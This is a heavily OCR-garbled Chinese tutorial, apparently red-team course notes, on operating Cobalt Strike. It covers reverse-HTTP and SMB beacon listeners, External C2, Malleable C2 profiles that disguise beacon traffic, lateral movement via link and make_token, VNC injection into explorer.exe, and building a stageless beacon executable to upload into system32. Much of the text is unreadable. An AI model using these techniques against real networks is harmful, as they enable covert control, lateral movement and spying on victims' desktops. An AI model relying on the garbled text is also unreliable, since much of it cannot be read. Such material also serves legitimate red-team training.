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important-clusters-2# pwd
/root/cobaltstrike 3.14
important-clusters-2# 1s -11
total 44836
1 root root 126 Sep 17 16:32 agscript
1 root root 138 Sep 17 16:32 agscript.bat
1 root root 1 Sep 17 16:32 c2lint
1 root root Sep 17 1 c2lint.bat
1 root root 93 Sep 17 1 cobaltstrike
1 root root 256 Sep 17 1 cobaltstrike.auth
1 root root 142 Sep 17 1 cobaltstrike.bat
1 root root 785726 Sep 17 1 CobaltstrikecCN.ja
1 root root 22654026 Sep 17 1 cobaltstrike.jar
1
1
2
1
1
1
1
1

%]

]

WOl W W
o )

w

8 E

root root 2313 Sep 17 1 cobaltstrike.store
root root 22126943 Oct 7 1 csl4.zip
root root @96 Sep 17 17:20 data
root root 1§ Sep 17 17:28 hs_err_pid14685.1log
root root 18550 Jan 19 11:23 hs err pid2412.log
root root 185 Jan 19 11:23 hs_err_pid2418.log
root root 18549 Jan 11 12: hs_err_pid7143.log
root root 185 Jan 11 12:56 hs_err_pid7188.log
1 root root 185 Jan 11 12:57 hs err pid7232.log
drwxr-xr-x 14 root root @96 Jan 25 11:23|logs
1 root root Jan 25 21:09 nohup.out
1 root root 141 17 16: peclone
1 root root 125 Sep 17 16:35 peclone.bat
-ruxr-xr-x 1 root root 1865 Sep 17 16:36 teamserver
1
2

:’;
=}

-PW-r--r-- root root 2¢ S 17 16: teamserver.bat

drwxr-xr-x root root @96 Sep 17 16:41 third-party

-rw-r--r-- 1 root root 20 Sep 17 16:42 Win Linux shell script.7z

important-clusters-2# 1ls logs

190917 190918 200112 200111 200113 200114 200115 200117 200119 200120 200121 200125

o DU H S Gd 3k 7 BT K AEAE Cobalt Strike B BAARSS 28 E RIS

o  HFETHEICE. HENCE. SWEHNE. AR A . beacon payload H%
s

W

o UEBRZAHIBARS AT, Cobalt Strike AT LAEFTA AR 5548 HI A & i —
AR, SRBURSEI R ZE SRy, WL i s

o B LET DU R R AR
- loCHRtRik®E CEBIT —L APT i) .
- WEANRE . AT EREES), YHA T when. where. why.
- UERAE . RN
- TTP k. &7 MITRE HEZE T CS iE ) CRIG+F AR+ L2+ 1 D

e EPET

»
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[1] Youtube #4ii - Red Team Ops with Cobalt Strike (1 of 9): Operations, Youtube,
Raphael Mudge [2] B ¥ #0471 - 72714 Cobalt_Strike 4, Bilibili, WifI#Z44 [3]
Cobalt Strike mannual 4.0, Cobalt Strike & ¥
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https://www.youtube.com/watch?v=q7VQeK533zI&list=PL9HO6M_MU2nfQ4kHSCzAQMqxQxH47d1no
https://www.bilibili.com/video/av85159864
https://www.cobaltstrike.com/downloads/csmanual40.pdf

Cobalt Strike #% €2 [JRHEE ]
0x01 f+4 =AM c2?

C2 #t/& Command & Control Server FIfaiFR, HELE A2 516 RS 25 .

IR B C2 RBOEE R . ST C2 M5 A AR AE, BRI HY 57 340 0] B
il Bl R PR 1) o

B2 Binfl

WEE/EFE

Cobalt Strike [t [ BA i 55 & He St —Ff C2 Ik 554% . CS W%/ A =5 L1 A9

[ ], CS BB 4 Al =5 T Ll [ Bk c2) o A4k cs, HIBA
55 as 2ok ZEIAT BRI/ EE ATHRIME 55 PR R AT 2, g2 i, 1E
AN RGBS PML TR T, CS A C2 @S AR KA -

1. i CS %) v iz 2 I BA AR 55 4 AT AT S #8257 it RIE 55 B AR X
HEBL GX tht /& beacon A B HIARA job fir @AFAERISEBRE L) 5

2. TMiJE%5AE Bhsplas B3k (payload) KN #0X LeihRIMT 25 513 Hh i B Ak di
2% Hbrhlas BT

3. BEJE FARAEHAT e 45 R IBL 45 CS BB IRSS a5, H1BAIRSS &5 FF Il 2 22 CS %
S ¥ o
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HILEIK] Cobalt Strike (4.0 A H) o, Ho&eH M C2 845 )7 A2l s )
shell Fljz [7] HTTP C2 & . SR RS I (B AP K- FRO$E &, &XFh TS 775
b SR e DLAE XY

B New Listener — O et

Create a listener.

Name: [

Payload: |windows/beacon_http/reverse_http -

windows/beacon_dnsfreverse_http -

Host:

Port: windows/beacon_https/reverse https
windows/beacon_smb/bind_pipe
windows/beacon_tep/bind_tep
windows/forei everse_http
wmdowsffarei%everse_hﬂps

windows/forei everse_tcp -

FERMIEOL T, SHb s —2eseB] C2 A B AT, AME C2 AR RZAF 1 —Fif
T

ft Cobalt Strike 4.0 /1, XTHEWr 88885 7478, HILIA 74 C2 () Payload ik
T o

g

n New Listener o

Create a listener,

Payload: [External Cc2 - }
Payload Options

Port {Bind): (2222 |

[71Bind to localhost only
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{HHSE, A5 C2 F13FE CS 4.0 445 . ZHIH Cobalt Strike figAsH (45 C2 /2 H
Cobalt Strike 3.6 5I AMIThAE) , H—HARMIMNB C2EO. RUE = TEFRAY
Cobalt Strike 5 Beacon payload < [A|IE{E 2. H2dA BEA R X BinA
IXFh Payload % i .

AR C2 WAMYAY A2 Cobalt Strike A4, —USHELLHAISFRALANE C2 O 59, Eoln
MSF.

M2, BATER T RKE T T ENRTHEZRE. FHZRTE. HEEEZI
C2 idfE .

0x02 /M & C2 RS RY

SME C2 FAGEA PR TSEBL C2OBAE 0 RIS, B4 400 C2 R i i3l C2 B
Mg, ?

EE ke, CS BYJEIRIETS A LR :

]

L.
Cabalt Strike
EFiR

Colpalt
Strike
FRMES

BT
Beacon
payload
HISEL

Cobalt Strike 4N C2 B2 1 0 1F 58 = #2778 24 Cobalt Strike 5 H: Beacon
payload Z [B|HIE(E)Z . AN EANT C2, CS B C2 15 2R AR BY, 11X FE

af
g MS08067 TEAM
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[

=
Cobalt Strike
EFE

Colpalt
Strike
FBMNES

SR C2

=T
Beacon
payload
HZE

sz, bt —MeREU k. CS SRVFH IR AN R C2 BB ATIE T, A Ik
P2 HE SCH S RIAMER C2 Tl

AIXAHNES C2 A B [ SEDLEEAFERINE? CS AYAME C2 FIVE AL ALE -

o AN C2 RGHE=J7fHI8%. =% P u Al Cobalt Strike $2 4N €2
55 =B 53 A

o EEUTR AN = U7 R RS 45 AL T Cobalt Strike AMERI A BB =0T
CAIA AT TIE B A 5 RIT A AN A

o AN C2 MRS =TIREFT SR CS HIBAIRSS % A BT
FrABATAT AR HIE B AMER C2 a2 C/S ZEFIIY
ARV, AN C2 A B [ BARSEIL T -

2
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Web Drive-
by ATIFEEIRS EHRRLS...
[
CS FpiREEE
HNERC2 BRE
A
\ J
i
E=AES ’
\J
e
1F CS 4.0 1,
n New Listener 42 AT X
Create a listener,
Payload: |External C2 -]

Payload Options
Port {Bind): (2222 |

['1Bind to localhost only

X/~ External C2payload, HSGZTEE X CS BIBAMRSS S M4MEE C2 IR, X
AN A D7 A AR, RUEAEWR— N B CS ISR c2 Rss4% .
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TORIEHNAL C2 REL S CSIBE AL AR, MMM C2 (1 CS IE {5 24
P LR X1

HBAIRSS =

 /

ANER C2 RSEE FFFFEERRRRRRS

A

TCP &

o
o

I EIREE

1=47 Beacon
Payload HI==
1l

0x03 ¥ JE&1iR: SMB Beacon 54 &1

EER EEFR $=)7% 4 5 Beacon ELiZIEL name pipe 5. FEHFHILRE
1E (name pipe) HWIHL FEIEN i,

" MS08067 TEAM
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E=PEFR

i

1={T Beacon
Payload fI==
.

)

BESR Rl 441 15, 4 —7E+& SMB Beacon.

TX—#B7 2% H @Rcoil RFEMICE:  [RIHII] #4445 1H
SMB Beacon i 4 & 18 payload i& FH TH A FERIE S 7 508 ?
I FE— N 5

7t Windows #45H, JoEH IR GO, X C3RBURBR FIALA% A
H ncat J<3#—> shell, {H7218 257 k3 8o B2 7 I HES . 84 SLbr
i /2 reverse_tcp #B k$5$: T . HAH E reverse_http.
reverse_https AEAIE T .

Z TP RN 7 Windows 1, 242%30{# F Bind() 4% — > TCP
Socket i}, Defender 25 & &7 & 5 L VR AR P AT M 4 i&Hz, HA H
P RV A AT . 4R, IR IRAIAE B EE AR, o] UK R
JFUSMEI A ERA, irERE. HERN1X B EH PR, ZJ00%
IS IME LT KSR o B DL AR BEATAE LN, e S E its, W
BIRERAT B B e e M. W2 sehbr b, HisbLes b k2E

g MS08067 TEAM
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https://rcoil.me/2019/11/【知识回顾】命名管道/

& Windows Z25EE
G Windows Defender ik IEE B IFIH R FRBIZESTHER

Windows Defender P BEIBIEAELRARSENEARME LT ncatexe FIEEIEE,

—
EHREE: eS|
BEEH): Ef\code\ncat\ncat.exe

SEIF neat.exe TEXEERE HEG:
LFAAME, FINRERT MR

[ AFARSE, ATIFIMEETAREREST, AaTOANEESESERIIEREIES)
W

B seiEisE) vt

FERXME LT, dndeT Bl C2 AR S5 a3 We ?
X2 SMB PRl HE 75 T .

£ Windows H1, Bjj K538 % BRI S0 VF SMB BRSNS, (R, 4R 4 Thfig ak
HUHIAT U T 54BN AT @S 10, SMB YMUGEE & — PR IF % $E. Ty 4
EIE Wt T SMB PRCGEEATIBAE (1, BT LABATR] LASE T 4808 5 BB 882t AT
HAS, I S A% i3 IE

gl (WAL IPC) & —FPfa] B 3L T SMB s Y EFE [a] 3815
(Internet Process Connection - IPC) #lfill. 7ETHHEMNmFERE, M EIER LR —
BB B R 2 8] 5 AE B — N & B El T BN B EFRE 2 [8], SZ3pa]
HEMY . B BRI ) B S A A

F—RERETEAR, 488 LA R AASE 7 Ko7k A (AT PAES1E 5 .
Bra) o RERFMEMAEERNL T, TR Ll Z 4 73 EER
T, ARYEL E RBR AR 55 25 S REEAE .

BAONEO T, WATTCIEE iy 2 & 8RB EVEE, (ERHEREE IR 2/
Windows API A%, .

o HT SRR A 44 5 T R IR 55 5 i 2R 252 CreateNamedPipe

o PESIEVNIRGS 43 ui DRE & ConnectNamedPipe

o FPumdtFEiE L {# ] CreateFile 8¢ CallNamedPipe pR%IE 2 2y 44 & 18

" MS08067 TEAM
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FEASCH, R EE, frAA 2 £ R A B A ScHliEE Windows API 2k 5
FEFP R SEIL G HLa% ELIE I HE 1

EERAE:
TRElZE @Rcoll HCHE % HHATH SMB iy 4 B TEIBIA R C/S My i+ i Al -

ATUVER], H—IRMNAH ENET R b 2 e 2 R ENL AR S b, [ROAWA
Bk, FrCLERRM. 55 IRJGER net use K5 B3 )5, A ERE L,

{E Cobalt Strike H #1117/ {§F F§ SMB Beacon ] payload We ?

Windows iy % & Lu;ﬁz%f SMB thilH . K15 44 SMB Beacon. SMB
Beacon i F iy 42 & 1 il i X Beacon #AT1HAE . IXﬁF X S REEXNTER—FE
L) Beacon A4 B A LLIEEE N 2% |ig

a
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B New Listener — O =

Create a listener.

Name: [

Payload: |windows/beacon_smb/bind_pipe -

Host: windows/beacon_dns/reverse_http &
windows/beacon_http/reverse_http

Fort: windows/beacon_https/reverse_https

windows/beacon_smb/bind_pipe
windows/beacon_tep/bind_tep
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp -

Cobalt Strike [ WilT 2424t SMB Beacon #ir 4 & i payload.

CS 3.14 # £ SMB Beacon:

B New Listener — O >

Create a listener.

Name: [ ]

Payload: jwindows/beacon_smb/bind_pipe |l

Host: [ ]

Port: [ ]

Save

CS 4.0 #11) SMB Beacon:

" \508067 TEAM
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Create a listener,

Mame: |smb |

Peyload: |Beacon SMB - |

Payload Options

Fipename (C2): score_pd233 |

M Beacon =il &, ALMEH link [host] [pipe] KA 24Hi ) Beacon FEH: 5] —4
FEFIERLA) SMB Beacon. 4241 Beacon BN, TR S HESEN.

N HIEFREME, $EEH Beacon fi ] Windows #y 44 B IEHATIES . XA
EEIBAE SMB M. BEVEA L IR .

1. EA SMB Beacon W] FHLAAILEG 1 445 2 ERE
2. HEesEHE— Cobalt Strike 524514 ¥ ] Beacon.

SN bR ) SMB iy 44 B i IR R B IR S AT H P sk, ROV EW A
TR . BERE smb beacon, tH2F 2MHTHAFE ) beacon [KIFLR .
WRAEZA L EHE]— ) Beacon 2 JG13 3] —/> error 5 (BURIELE) , X5k 2R
ANEHIRI . RV TT V52 BT U P ) token (A1) B4 H make_token
DOMAIN\user password A A6 T H AR 1A R4 R IE 78 41T token (D) « &
S5 FFR 228 Z¢ link 3] Beacon.

make_token SZFR_ AR T LogonUserA() BR%L, #HMT WY 1 MHIFEF X4 token
PR ¥E: LogonUserA(R#Z%: [121741:1)] SCshell £2 A1

B
PR FEERENE T L EEERN C2EE, BEIRHAT 2 HThEE.
SR ATE, #id SMB Wrl gt By k557 C2 F 18 v] PAE N A AR $2
TR IR S TR — 2
HE—25 0] DA FH 4y 44 80 18 AR P i T RE R 3R system ALFR, MSF [
getsystem D AEHT A& IE T 77k LI
G RERS ALK, SMB A& 54 c2 IR A FEM T AN C2 1) CS HifE
Zakgr,  HAsHLEE LY Beacon payload 54 C2 & 487 15 =5 % F i < [A] & i
if SMB iy & &R E. C2 [E1E ). XA TEA C2 5 T —FF.

8
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https://rcoil.me/2019/12/【渗透技巧】SCshell%20技术细节/

Appendix A. Session Life Cycle

External C2 Controller Client SMB Beacon
1 Request new
session from
controller
2 Connect to
External C2
3 <- Send options
4 <- Request stage
5 Send stage ->
6 Relay stage ->
7 Inject stage into a
process.
8 Start named pipe
Server
9 Connect to named
pipe server
10 <- Write metadata
11 <- Relay metadata
12 <- Relay metadata
13 Process metadata
A new Beacon session appdars within Cobalt Strike
14 User tasks session
or empty task made
15 Write tasks -»
16 Relay tasks ->
17 Relay tasks ->
18 Process tasks
19 <- Write response
20 <- Relay response
21 <- Relay response
22 Processresponse
Repeat steps 14 - 22 while session is alive
24 Session exits
25 Error when reading
or writing to named
pipe. &
26 <- notify controller
27 Disconnect from exit

External C2

Session marked as dead within Cobalt Strike

0x04 N4 FBEANE 22

AL, BE X C2IEIE R LA UM, IXAF E AR W] A tR— 18 C2 it Y 1K ) 1 il

(GR By K e BEAERR 1D
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{§iH] SMB Beacon, 4 payload lIhHATZ )5, HEE =7 i 58 2% 5 Beacon
()28 H.. FTH 5 Beacon JG£EMIAZ H, &AM RMGAEEN LS. maEE L
HIEFEAURIES, Z28AES A FREII6E. XA IR 2 KIER 2.

AN, IEEH AR RES C2IMER TR A EE IR E. BRI — SR LA CS
i) Malleable C2 Profile WAL .

P CS N AR HIIE CS ) C2 profile /& ] $ fE Y

Wt A, JENE E E X C2 profile, FATLAOyBE AR, LEIETHEE N BSR4
1 HAT A — R 7 =0

./teamserver [HIPARZ251) IP] [password] [c2 profile]
JRUGIEAE RO :

Stream Content

GET /oh9m HTTP/1.1

user-ngenl:: Mozilla/d4.0 (compatible; MsIE 7.0; windows NT 5.1)
Host: 45.63.121.57:8080

Connection: Keep-Alive

cache-Control: no-cache

HTTP/1.1 200 OK
Content-Type: apghcatwn;‘octet—stream
pate: Thu, 21 Feb 2019 08:43:29 aMT

content-Le < L
X-Malware: O TP OBAF | ALPZX 04 ( PAI/CC) 7 JSEICAR-5TANDARD-ANTIVIRUS-TEST~FILE] SHEH' |
MEARLUN. i Be o sonaMessusoMons asaaMosleiloessBochoas s WhsooRasossonsnnnnnns '..L.!This program cannot be run in DOS mode.

4§ C2 profile P2 HIES 373

Stream Content

[CET 7Image,

d\lmkd?mkgamjpvmlh?q b hpbhmpehjhmmgwmaffnlnkdmpkglcqobjlgmidc ekaefcolb 'nohbr.zfoiu
gkjmmp obhacpojippfiall hgu(km(ocuohpn hjm”nugm?‘;')"obolum miihidfpnipfbkifcipkhgbin
feepmikcnoiahniaheeijplb ef ghblpeiidgimigbmiihkao-. 1pg
HTTP/1.1

Referer: htrp://www, google, com

Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*1;q~0.8

Pragma: no-cache

cache-control: no-cache

user-agent: mMmozi11a/5.0 (compatible; MSIE 8.0; windows NT 6.1; Trident/5.0)

Most: 45,63.121.57:8080

connection: Keep-Alive

jojghpbmacdieifamhfpigod

HTTP/1.1 200 OK

content-Type: 1mg/ ;pg

pate: Thu, 21 Feb 2019 08:57:46 GMT
server: Microsoft-115/6,0
X-Powered-By: ASP,NET

on NS ngehn: U

X-MA IWare: X50!PNRAP L4 \PZX54 (PA)7CC)7

EICAR-S5TANDARD-ANTIVIRUS-TEST-FILE'

—ULR[ g C2 profile Wi H iLFATA] AAE R B2 APT 2123, SR Sk el H A 1
S N O
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3 C @ github.com/rsmudge/Malleable-C2-Profiles % a w L ™ e 0N 9 E

Dismiss

Join GitHub today

GitHub is home to over 40 million developers working together to host and
review code, manage projects, and build software together.

Malleable C2 is a domain specific language to redefine indicators in Beacon's communication. This repository is a collection of Malleable
C2 profiles that you may use. These profiles work with Cobalt Strike 3.x. https://www.cobaltstrike.com/help-mal...

D 50 commits ¥ 1 branch [T 0 packages @ 0 releases 12 4 contributors
Branch: master « New pull request Find file Clone or download «
a rsmudge move a string Latest commit 398937a on 8 Apr 2018
m APT move a string. 2 years ago
Bl crimeware set the sample_name in these other profiles (the Indicators of Compro... 2 years ago
s normal Merge branch ‘master’ of https://github.com/rsmudge/Malleable-C2-Prof... 2 years ago

72 NEH, ATLMER C2 profile 4 &% il gmail. onedrive 58N i E.
(35T B et W mT AP A Office 365 .

Branch: masterv = Malleable-C2-Profiles / normal / Create new file | Find file | History
rsmudge Merge branch 'master’ of https://github.com/rsmudge/Malleable-C2-Prof... .. Latest commit @fd4esa on 8 Apr 2018
[E) amazon.profile added author 6 years ago
B bingsearch_getonly.profile initial commit of new profiles 3 years ago
[E) convideo getonly.profile initial commit of new profiles 3 years ago
Remove extra COOKIE header from the gmail profile 2 years ago
[E) googledrive_getonly.profile initial commit of new profiles 3 years ago
[E) microsoftupdate_getonly.profile initial commit of new profiles 3 years ago
[) msnbcvideo_getonly.profile initial commit of new profiles 3 years ago
[E) ocsp.profile Close #10. Fix a misnaming. 2 years ago
[E) onedrive_getonly.profile initial commit of new profiles 3 years ago
[E) pandora.profile added author 6 years ago
2 randomized.profile fun profile to demonstrate the mask transform. 2 years ago
[E) rtmp.profile Added Adobe RTMP profile. 5 years ago
[ safebrowsing.profile added author 6 years ago
[E) webbug.profile dress up POST side of the transaction too 6 years ago
[ webbug_getonly.profile implement a few Malleable staging options. 2 years ago
[E) wikipedia_getonly.profile initial commit of new profiles 3 years ago

AEAT LALE C2 B il A 3k 1 W B &

i
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AhE C2 ] LLARLE C2 MIB{F i E Rl &3k 1R MR E H X AER, (HEAZ
h3e, BOVERRIESEI 17 H CREERE

WS e ARl ERE, WURBEEN. RETREAGAZFREES
. 1F Cobalt Strike %5 €1 5+ —— Beacon 7] LLiE i HTTP/S A1 DNS ¥ H
C2 iE; JFi@id SMB 11y 4% & i A TCP socket #5432 2| HAth 1) Beacon »

ANES C2 FRYE 0 YK+ Beacon HIEAE  ([0]3% B AR 2% 2% 50% 2 1) HAth Beacon) 3\
P 2 J LT AmT 75 22 77 K

AT 75 ¥ )7 SR

o iEid Office 365 4T C2 il
AR AT C2 385

o HEVES)HFIET C2 WE

e J#1f RDP. WinRM 8 WMI 34T C2 38(Z

(=
o

XFEE E X C2 A5 A H A4 ?

B AVERS (N office 365 Google =ifififi#. Dropbox. Slack miFH:AthAT{Af
k%) W Cc2 i, PTLMEfE C2 B RSEERIEERE, NHZWRIRKE
P FHIX L AR 554 A H M 55 ) — 3 iy o AEFEESE AR, AR E 2T LSS H Fr
H O AR S C2 i, il anidd {4 5 CLi) OneDrive ££%i C2 £¥s .

WSO WS H SR EAEAT AT DS /U B BEAT I C2 3845 tBAR
HMEPASTINE], XA BT Sed A RSB K 5 PR 1 o

LR, WhfE C2 MILFAbmt 2 L B A6 5, AMES C2 L AL R Rl ME T 4F . SRB K
IR R RCR B4, T AR R, (B SIS R EL B H

BEY:

SMB & 2 EE#

. @RI EIND Wi EZR S ]

e  Windows iy % & TE W TR

. [RREEY PR T i PsExec

. [23EH:75]) SCshell £ A 407
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https://rcoil.me/2019/11/【知识回顾】命名管道/
https://www.anquanke.com/post/id/190207#h2-0
https://rcoil.me/2019/08/【知识回顾】深入了解%20PsExec/
https://rcoil.me/2019/12/【渗透技巧】SCshell%20技术细节/

@Rcoil KFERICE R GHIARRLF, FI/MURS @Reoil KEEMIMT 0 ES, A

;
3
B~

S8 C2 F43-

Cobalt Strike External Command and Control Specification
F|F External C2 ik MHLES7E Cobalt Strike H _F 2§
External C2

External C2 (Third-party Command and Control)

RvnOxsy/Cooolis-ms

ORI W AT/ [ @Klion [ Cobalt Strike &4 (AEATFEATILEL T )

Y 508067 TEAM
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https://www.cobaltstrike.com/downloads/externalc2spec.pdf
https://blog.hl0rey.com/2019/09/06/利用External-C2让内网机器在Cobalt-Strike中上线/
https://wbglil.gitbooks.io/cobalt-strike/cobalt-strikekuo-zhan/external-c2.html
https://www.cobaltstrike.com/help-externalc2
https://github.com/Rvn0xsy/Cooolis-ms

Cobalt Strike 5[] 2 ] 1] &5 f ARt

0x01 [ Cobalt Strike F I SEEIEHITHEE | AR

AT S, AR EPRYLES R ERIN BRI T, 25 A ENL R R A B,
i# 1t [beacon] =% iH Explore—2Z il Desktop(VNC) . 1XZ¥—> VNC k&5 a8 A\
YT AR B AR I B Ao i R i ST R E .

X VNC RS2 UE% L 46 H), Cobalt Strike 2347 FF— /M52 A Desktop HOST@PID )
FREZETT 6

0] LI{# F Beacon 1] desktop fim 2K — 4~ VNC IR #39E N\ —Mer e gt .
{fH desktop pid %44 low|high 1% . & —/1"ZHH THEE VNC &b 0 )i

0x02 [&] A ik
7

« HI#&RS N Windows 10, LIfiiH 360 (zhuDongFangYu.exe) .
o HHET 3.14 dEAR

i i IR Desktop (VNC)IEIIEIRIT T 56 HIARZE L -

&

I Cobalt Strike.

‘cobaltstrike View Attacks Reporting Help

OB G E=¢ 6L gebl Pca la
excternal internal =

VMNC Error pd

0 WVNC server connection is not responding.
Try launching VNC again!

a
ay
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[F:“\Cobalt Strike“csi4>java —R¥:ParallelGCThreads=4 —XH:+AggressiveHeap —-XK:+HlseParallelGC —jar cobaltstrike.jar §=
[81;33m[?1<[Bm [UNC] could not connect to :7689 (Connection refused: connect)
[81;32m[+1<[Bm [UNC] I am connected.

B 17. 2020 6:09:19 1::F com.glavsoft_prfh_protocol.state _HandzhakeState handshake
Waiting to receive protocol string
7. 2828 6:89:28 T—T— com.glavsoft._rfh.protocol.state _HandshakeState handshake
Server sent protocol string: RFB B63.008
7. 2028 6:89:28 WTiF com.glavsoft.rfh.protocol.state .HandshakeState handshake
Set protocol version to: 3.8
1 17, 2828 6:09:22 WTiF com.glavsoft.rfh.protocol.state.SecuritylypeState negotiateAboutSecuritylype
Security Types received (2>: [1, 161
7. 2828 6:89:22 1:£F com.glavsoft.pfh.protocol.state .SecuritylypeState negotiateAboutSecurityType
Security Type accepted: TIGHT_AUTHENTICATIOH
H 17, 2620 6:09:23 1::F com.glavsoft._pfh_protocol.auth_TightAuthentication initAuthorization
| Auth capabhility accepted: NONE_AUTHENIICATION
1;31m[-1¢<[Bm Opened: Processes 192.168_.56.107824 with no remove listener
[01;31m[-1«[Bm Connection to UNC sepver didn’'t mespond. Cannot read intlb

A DL B 7E R BA AR S5 #5311 7609 i YRAE T —4> VNC k%28, (H25 VNC k%4
I IEFE A R

S — L R RS A
1, #% VNC [ DLL /& N EfFrE:
1E Cobalt Strike HIP\R 5538 oA AFLE -

important-clusters-2# 1s
README .wncdll.txt BREADME.winvnc.txt [winwvnc.x64.d11 winwvnc.x86.d11

2, AHBIIRSGAH 7609 ¥ 2 R IFIL:

wmportant-clusters-2# lsof -1:7609
COMMAND  PID USER FD TYPE DEVICE SIZE/OFF NODE MAME

]ava 2866 root 34y IPvE 3713649 gte TCP *:7609 (LISTEN)

B AR MRS, AN 2t A ) R

0x03 Jr] FRfiF

fit R TT SRS

S 7 B AL IC SRS T A E#, 8 Desktop (VNC) T.HIEAZ
explorer.exe HtfEH, XFEFIR—/N21%, BRI IE£ 1% %7 VNC Desktop.
Bk

£ Beacon &l & 1,

desktop [explorer pid] x86|x64 low|high

Y

ba k)

V14
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w www.ms08067.com



o low|high &l #5F M 5

BB

-———————— ===

Event Log x| Beacon 192.168.56.1@7024 X | Processes 192.168.56.1@7024 X | Desktop 192.168.56.1 X
=[] 0: [System Process] « [{(PID |PPID | Name Arch | Ses... User
=[] 4: System '(26336 15268 chrome.exe %64 1 =
] 144: Registry 26348 15268 cmd.exe X641
[]792: smss.exe 26612 26348 conhost.exe x64 1
[T 3844: Memory Compression 26068 26348 1Password.exe x86 1
] 980 csrss.exe 3136 11620 yundetectservice... x86 1
=[] 124: wininit.exe 25724 1072 svchost.exe
= % 1072: services.exe 25364 11620 baidunetdisk.exe =86 1
] 1296: svchost.exe 22728 25364 baidunetdiskhos... =86 1
=-[T] 1324: svchost.exe 26100 25364 baidunetdiskhos... =86 1
[ 10136: ChsIME.exe .| 21680 15268 chrome.exe x64 1
[]10512: RuntimeBroker.exe i explorer.exe 1 EETEH
[T] 10660: RuntimeBroker.exe 1096 9820 cmd.exe x64 1
] 11988: WindowsInternal.Composal 25056 1096 conhost.exe X641
=[] 3524: SogoulmeBroker.exe 15960 23880 Xshell.exe %86 1
] 28944: 8GTool.exe 21088 15960 XshellCore.exe =86 1
[ 13360: dllhost.exe 16448 1072 svchost.exe
[T] 4560: ShellExperienceHost.exe 20104 1072 svchost.exe
|:|11124: SearchULexe 16128 1324 explorer.exe X64 1
[] 16608: ChsIME.exe 11172 1068 taskhostw.exe
[]12548; ApplicationFrameHost.exe 11020 15268 chrome.exe x64 1
p 290000 Dame o o Tl e , 1115712 1324 Video.ULexe x64 1 =
I Kill ” Refresh ] [ Inject H Log Keystrokes H Screenshot H Steal Token l I Help l

beacon? desktop 19344 x64 low
[+] host called home, sent: 16 bytes
[*#] Tasked beacon to inject VHC server into 19344/x64

[+] host called home, sent: 374802 bytes
[+] started port forward om 95977 to 127.0.0.1:5977

W 508067 TEAM
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- ==

Event Log X | Beacon 192.168.56.1@7024 X | Processes 192.168.56.1@7024 X | Desktop 192.168.56.1 X
2Py @3 Hre B B B Bt Bt @bt @30 35 i 0= 1=
< (@ leanotecom

-

3 e

& Z(ich + mwizE [N R IR

Cobalt Strike Desktop [aJ&5
=ar TR ETm B I S 66 o
mss g WRAIRNES

Netcat 4, Cobalt Strike

o)l (aJia) @ (8 (el

HR:
AR B GG, SR, BExE, —MrSmlf

winlogon.exe:

‘ 1176

EFENR, BEACS, #HbE, VNC RHEXEEBE T HEHAT .
A HIX B HEALIZMIEN, K ANFEIXH explorer.exe, winlogon.exe X
HREHEAFAE

HEMHPER T, 4 2H explorer.exe, winlogon.exe X HEFE,

—NEAMNE: W N SEIARES TUTCTAR N, K S T AL IR A, B
fR view only &AM . ABMER T, N7 BHIEER/ES BIMUFESI R bR, View
only ##% F#& 1 .

FAN, SERREATINRERIIAA S, B E™ E ™ E, $EFR Cobalt Strike A2 5
[ VNC DhEEA & KUFH, ##%UET H¥r Z% 9 Windows 10 I . A XFhiE LT
— Mt 25 % 3389, E.#% mstsc.

' 1
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SEHY:
1. Cobalt Strike manual 4.0, Cobalt Strike E M

2. EWIRMIFEFHEL.N. TR S, &KieBelilvl 2 51TiE
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https://www.cobaltstrike.com/downloads/csmanual40.pdf

Cobalt Strike IR\ IR 55222 B

REUERET :

MESAﬁqlit FI.E*]FJT% 80 wDB‘JR:FM:J?

)ELnglmuﬁiF
HIZEBISRIAAHAIATA 80 mDB‘Jﬁ:Fﬂm‘IJH'LEEC

ARH1EEB:
- =
Nginx &
REBS

SSH ¥, mfEROEE

AHbHEEE:
CSEFH

R LA 0 25175 0 T A )

—
BUEENZEDRYEIREE, BEIAEESSHREREZRELIETINEED
Windows/beacon_http/reverse_http
hostFERUFUEENZ IE IP

i e

BUERHZEARIESINES, F35 Beacon HTiE

=
windows/foreign/reverse_http

host FERUAUSEEETHE IP

7
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Cobalt Strike H B PR 4545 A1 I BA R 55 8% 2 1] ) = i A% 3

0x01 A FR4E+F

MHEPRVIZRES Z )5, WHTE cmd.exe. powershell.exe &5i#F2 A1) Beacon
payload <45, FEFRATM Beacon Shell $24k .

A P IFEO. JAzhI. AR&55 7 SO AT IR 4EHRE, IXFENLAS H J5 < J5 Beacon
Shell IS £ 1E

At — Github _Fff] Cobalt Strike J5123% M3 1F Erebus LARZS 177 it
ITRLIR 4E 1

https://github.com/DeEpinGhOst/Erebus

H$R:

Beacon Shell W4 m PR, ASRIEIE SC i & IR SS HIiE A 2 12 -
F—: INER cna A

Cobalt Strike — Script Manager — Load — Erebus Hff] Main.cna

F 5. AR Payload W] $14T 34

Attacks™ - “Packages® - “Windows Executable(S)

a
g MS08067 TEAM
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B Windows Executable (Stageless) — [] X

il

Export a stageless Beacon as a Windows
executable. Use Cobalt Strike Arsenal scripts (Help -

Stage: |testi v

Proxy: l_]
Output |Windows EXE v

X64: m Use x64 payload}

Als[y Ian executable file

Generate H Help |

TRA7H xiaoxue. exes

o Stage M7 AR SS 25 L1 reverse_http W Wr 2%
$=: k% payload fHATCHZE HirEN

it Cobalt Strike ff] File Browser HEfT L%,

' MS08067 TEAM
www.ms08067.com



[ 4
|Cobatt Strike View Attacks Reporting Help

DR QO EB=Ze 82U e fa B g

mputer note pid last

e0267730 %
|4 Upload... X
#1%(1) % Documents -] oo @e
PR
#0-rtm-2019.02 .28-windows-xB6_x64-intel exe d@ 4 dr & L1 (2) jpg
= jres pdf
Event Log .| Files 10.0.75.1@9424 X v
- sl C:WINDOWS\system32
X ‘ »
- D - |Name
Sl system32 L (N) xlaoxue exe -
TP RT): (Wi B
41t Hiifl
Upload | Make Directory | List Drives .| | Refresh I Help |
B Cobait Strike 5
|Cobalt Strike View Attacks Reporting Help
DR QO BE=e 82U e da B
external internal ~ user computer note pld last

100751 20267730 * Bid: 11231 Arch: x64 V...

EventLog X | Beacon 10.0.75.1@9424 X

interactive

Bid: 11231 Arch: x64

o RXHEIEERE: B LRSI R BOE 2%, MR RS REER, K
A bAEER O ONRKRER) FSCHREEET .

HEP. BEHEARIARS

-
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I Cobalt Strike
Cobalt Strike View Aftacks Reporting Help

